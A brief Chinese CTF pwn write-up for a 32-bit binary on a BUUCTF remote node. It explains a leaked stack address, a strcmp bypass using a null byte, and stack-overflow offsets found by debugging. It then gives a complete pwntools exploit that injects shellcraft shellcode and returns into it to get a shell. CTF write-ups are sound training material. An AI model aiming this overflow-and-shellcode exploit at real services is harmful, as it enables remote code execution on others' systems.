下载 checksec exeinfo
32位 IDA32打开 查看函数
首先会泄露变量s的地址(栈地址) 然后会对输入进行判断 存在crashme就将输入复制到dest变量
存在栈溢出 对于strcmp的比较 可以用 \x00 截断
但是dest的偏移不是IDA所写的
动态调试:
可以看到 输入字符‘c’的位置应该在0x22 ebp在0x38 0x38-0x22=0x16 再加4字节到返回地址
泄露的栈地址和shellcode的地址有0x20的偏移 再加个4位的地址
exp:
from pwn import *
#p = process('./ez')
p = remote("node5.buuoj.cn", 25161)
context.log_level = 'debug'
context.arch = 'i386'
p.recvuntil("crash: ")
stack_addr = int(p.recv(10), 16)
#gdb.attach(p)
#pause()
shellcode = asm(shellcraft.sh())
payload = b'crashme\x00' + b'a' * (0x16 + 4 - 8) + p32(stack_addr - 0x20 + 4 ) + shellcode
p.sendline(payload)
p.interactive()
运行 得到flag: